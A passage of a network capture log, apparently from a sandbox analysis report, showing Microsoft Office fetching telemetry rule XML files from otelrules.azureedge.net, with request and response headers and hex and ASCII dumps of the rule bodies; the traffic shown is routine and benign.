0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:11 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102811Z-16849878b78km6fmmkbenhx76n00000008mg00000000fy54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:11 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 78dfd7f1-001e-0034-02ca-2add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102811Z-16849878b78qg9mlz11wgn0wcc000000093000000000026w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:12 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102812Z-16849878b78fhxrnedubv5byks00000007q000000000aqh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:12 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102812Z-17c5cb586f6jwd8h9y40tqxu5w00000000f0000000001wa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:12 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102812Z-16849878b78qfbkc5yywmsbg0c000000092g000000006chy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:12 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:12 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102812Z-16849878b78p49s6zkwt11bbkn00000008z000000000da1y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:12 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:12 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102812Z-16849878b78x6gn56mgecg60qc0000000b4000000000edhw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102813Z-16849878b78p49s6zkwt11bbkn00000009300000000056up x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:13 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102813Z-16849878b78tg5n42kspfr0x48000000099g00000000e71s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:13 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4f8161d3-a01e-00ab-6acd-2a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102813Z-159b85dff8fj5jwshC1DFW3rgc0000000160000000003cbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:13 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102813Z-16849878b7898p5f6vryaqvp580000000a7g0000000064y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:13 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:13 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: d871491f-101e-0046-2593-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102813Z-159b85dff8f7svrvhC1DFWth2s0000000180000000008gyy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
